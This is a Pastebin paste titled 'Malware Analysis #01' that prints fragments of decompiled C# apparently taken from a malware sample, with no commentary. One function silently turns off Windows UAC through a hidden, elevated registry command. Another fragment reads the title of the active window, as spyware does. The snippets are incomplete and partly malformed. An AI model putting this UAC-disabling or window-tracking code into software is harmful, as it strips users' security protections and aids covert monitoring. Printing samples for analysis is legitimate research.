Advertisement
shamp0erna99

Malware Analysis #01

Mar 27th, 2021
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. private static void Disable_UAC()
  2. {
  3. string arguments = "C:\\Windows\\System32\\cmd.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f";
  4. Process.Start(new ProcessStartInfo("CMD.EXE")
  5. {
  6. WindowStyle = ProcessWindowStyle.Minimized,
  7. WindowStyle = ProcessWindowStyle.Hidden,
  8. CreateNoWindow = false,
  9. UseShellExecute = true,
  10. Arguments = arguments,
  11. Verb = "runas"
  12. });
  13. }
  14.  
  15. //PROSES BACKGROUND
  16.  
  17. int windowTextLength = TaskhostEng.GetWindowTextLength((long)foregroundWindow);
  18. string text = Strings.StrDup(windowTextLength + 1, "*");
  19. TaskhostEng.GetWindowText(foregroundWindow, ref text, windowTextLength + 1);
  20. int num;
  21. TaskhostEng.GetWindowThreadProcessId(foregroundWindow, ref num);
  22. if (num == 0)
  23. {
  24. result = text;
  25. }
  26. else
  27. {
  28. try
  29. {
  30. result = Process.GetProcessById(num).MainWindowTitle;
  31. }
  32. catch (Exception ex)
  33. {
  34. result = text;
  35. }
  36. }
  37. }
  38. }
  39. catch (Exception ex2)
  40. {
  41. result = "";
  42. }
  43. return result;
  44. }
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement